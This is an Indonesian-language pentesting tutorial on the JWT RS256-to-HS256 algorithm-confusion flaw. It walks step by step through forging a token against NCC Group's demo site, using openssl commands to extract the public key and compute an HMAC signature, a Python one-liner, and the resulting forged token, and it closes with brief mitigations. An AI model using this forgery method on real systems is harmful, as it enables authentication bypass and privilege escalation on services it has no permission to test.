Hanya Untuk Tujuan Pendidikan! Ditujukan untuk penguji Penetrasi
Peretas .
Masalah
Algoritma HS256 menggunakan kunci rahasia untuk menandatangani dan memverifikasi setiap pesan. Algoritma RS256 menggunakan kunci pribadi untuk menandatangani pesan dan menggunakan kunci publik untuk otentikasi.
Jika Anda mengubah algoritma dari RS256 ke HS256, kode backend menggunakan kunci publik sebagai kunci rahasia dan kemudian menggunakan algoritma HS256 untuk memverifikasi tanda tangan. Algoritma Cipher Asymmetric => Algoritma Cipher Symmetric.
Karena kunci publik terkadang dapat diperoleh oleh penyerang, penyerang dapat memodifikasi algoritma di header ke HS256 dan kemudian menggunakan kunci publik RSA untuk menandatangani data.
Kode backend menggunakan kunci publik RSA + algoritma HS256 untuk verifikasi tanda tangan.
Contoh
Kerentanan muncul ketika validasi sisi klien terlihat seperti ini:
const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms )
Mari kita asumsikan kita memiliki token awal seperti yang disajikan di bawah ini dan "=>" akan menjelaskan modifikasi yang dapat dilakukan penyerang:
//header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' }
Kode backend menggunakan kunci publik sebagai kunci rahasia dan kemudian menggunakan algoritma HS256 untuk memverifikasi tanda tangan.
Serang
1. Tangkap traffic dan Token JWT yang valid (contoh NCC Group)
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg
2. Decode token dengan Burp Decoder
Strukturnya adalah header.payload.signature dengan masing-masing komponen base64 dikodekan menggunakan skema URL-aman dan setiap bantalan dihapus.
{"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}}
3. Ubah header
alg ke HS256
{"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}}
4. Konversi kembali ke format JWT
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0
Header dan payload siap untuk digunakan :)
5. Salin sertifikat server dan ekstrak kunci publik
Yang hilang hanyalah tanda tangan, dan untuk menghitung bahwa kita memerlukan kunci publik yang digunakan server. Bisa jadi ini tersedia secara gratis.
openssl s_client -connect <hostname>:443
Salin output "Sertifikat server" ke file (mis. Cert.pem) dan ekstrak kunci publik (ke file bernama key.pem) dengan menjalankan:
openssl x509 -in cert.pem -pubkey –noout > key.pem
Mari mengubahnya menjadi ASCII hex:
cat key.pem | xxd -p | tr -d "\\n"
Dengan memasok kunci publik sebagai ASCII hex ke operasi penandatanganan kami, kami dapat melihat dan sepenuhnya mengontrol byte
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:
Output - yaitu, tanda tangan HMAC - adalah:
db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f
Satu baris untuk mengubah ASCII hex signature ini menjadi format JWT adalah:
python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"
Output adalah tanda tangan kami:
2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
Cukup tambahkan ke token kami yang dimodifikasi:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
6. Kirim token yang diubah ke server.
Resolusi
1. Gunakan hanya satu algoritma enkripsi (jika mungkin)

2. Buat fungsi yang berbeda untuk memeriksa algoritma yang berbeda

Referensi
1.
medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e62.
www.youtube.com/watch?v=rCkDE2me_qk (24:53)
3.auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries4.www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through